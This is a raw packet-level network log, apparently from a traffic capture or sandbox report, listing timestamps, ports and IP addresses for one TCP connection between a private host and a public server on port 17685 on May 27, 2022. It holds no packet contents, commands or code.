May 27, 2022 06:59:22.020785093 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.036767006 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.036817074 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.036844969 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.036874056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.036890030 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.036899090 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.036948919 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.036976099 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.036978960 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.036999941 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.037065029 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.037075043 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.037152052 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.037158966 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.037231922 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.038531065 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.038618088 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.038630009 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.038710117 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.038743019 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.038826942 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.038855076 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.038933992 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.038964987 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039046049 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039151907 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039232969 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039299965 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039381027 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039489985 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039568901 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039599895 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039669037 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039678097 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039748907 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039778948 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039848089 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.039861917 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039930105 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.039957047 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040038109 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040067911 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040095091 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040155888 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040164948 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040177107 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040193081 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040258884 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040282965 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040342093 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040369987 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040429115 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040438890 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040455103 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040523052 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040577888 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040651083 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040653944 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040730000 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040838003 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040863037 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040891886 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040920973 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.040925980 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040954113 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040977955 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.040998936 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.041029930 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.041104078 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.041110039 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.041137934 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.041197062 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.041219950 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.041246891 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.041316986 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.041328907 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.041405916 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056015015 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056041956 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056128979 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056153059 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056169987 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056185007 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056262016 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056283951 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056338072 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056365013 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056432009 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056454897 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056492090 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056550026 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056575060 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056637049 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056669950 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056740046 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056742907 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056766033 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056837082 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056859970 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.056912899 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056984901 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.056987047 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057022095 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057077885 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057090044 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057106018 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057171106 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057239056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057318926 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057507038 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057584047 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057627916 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057708025 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057777882 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057847977 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.057854891 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057926893 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.057995081 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058070898 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058104038 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058130980 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058182955 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058221102 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058283091 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058352947 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058367968 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058423042 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058439016 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058501959 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058603048 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058691025 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058712959 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058820963 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058824062 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.058906078 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.058933020 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059006929 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059123039 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059200048 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059236050 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059310913 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059386015 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059461117 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059494019 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059566021 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059636116 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059657097 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059801102 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059895039 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.059912920 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.059992075 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060061932 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060131073 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060142040 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060209036 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060317993 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060389042 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060395956 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060460091 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060466051 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060544968 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060563087 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060635090 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060637951 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060662031 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060718060 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060744047 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060772896 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060848951 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060880899 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.060957909 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.060990095 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061067104 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061177015 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061202049 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061271906 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061271906 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061294079 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061297894 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061358929 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061386108 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061408043 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061476946 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061480045 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061553001 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061584949 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061657906 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061661959 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061717987 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061745882 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061770916 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061804056 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061825991 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.061855078 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.061935902 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062002897 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062072039 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062076092 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062098980 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062151909 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062170029 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062180996 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062238932 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062278986 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062305927 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062360048 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062375069 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062385082 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062444925 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062450886 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062474012 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062521935 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062547922 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062583923 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062611103 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062675953 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062680960 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062701941 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062751055 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062766075 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062819958 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062833071 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062889099 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062896013 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062916994 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062969923 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.062987089 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.062994957 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.063064098 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075215101 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.075252056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.075370073 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075417042 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075442076 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.075522900 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075542927 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.075629950 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075690985 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.075782061 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075819969 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.075900078 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.075975895 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076060057 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076086998 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076169968 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076193094 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076277018 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076292992 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076435089 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076524973 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076535940 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076550007 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076638937 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076699018 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076716900 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076735973 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076792955 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076807022 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.076881886 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.076951027 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077028990 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077090025 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077166080 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077222109 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077301025 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077364922 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077444077 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077485085 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077569962 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077622890 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077652931 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077701092 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077738047 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.077846050 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.077920914 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078382015 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078417063 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078455925 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078480005 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078490019 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078516960 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078522921 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078550100 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078551054 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078597069 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078597069 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078623056 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078634977 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078643084 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078676939 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078727961 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078768969 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078845978 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.078879118 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.078958988 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.079013109 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.079087973 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.079123020 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.079144001 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.079200029 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.079235077 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.079355955 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.079432964 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.079983950 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080065966 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080080986 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080112934 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080132008 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080164909 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080169916 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080203056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080209970 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080235004 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080265045 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080288887 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080291986 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080324888 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080384016 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080420971 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080589056 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080668926 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080718994 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080786943 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.080796003 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080861092 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.080979109 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.081057072 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.081065893 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.081139088 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.081233978 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.081311941 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.081995010 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082015991 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082036972 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082056999 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082087994 CEST	49755	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:22.082135916 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082218885 CEST	17685	49755	18.156.13.209	192.168.2.3
May 27, 2022 06:59:22.082271099 CEST	17685	49755	18.156.13.209	192.168.2.3
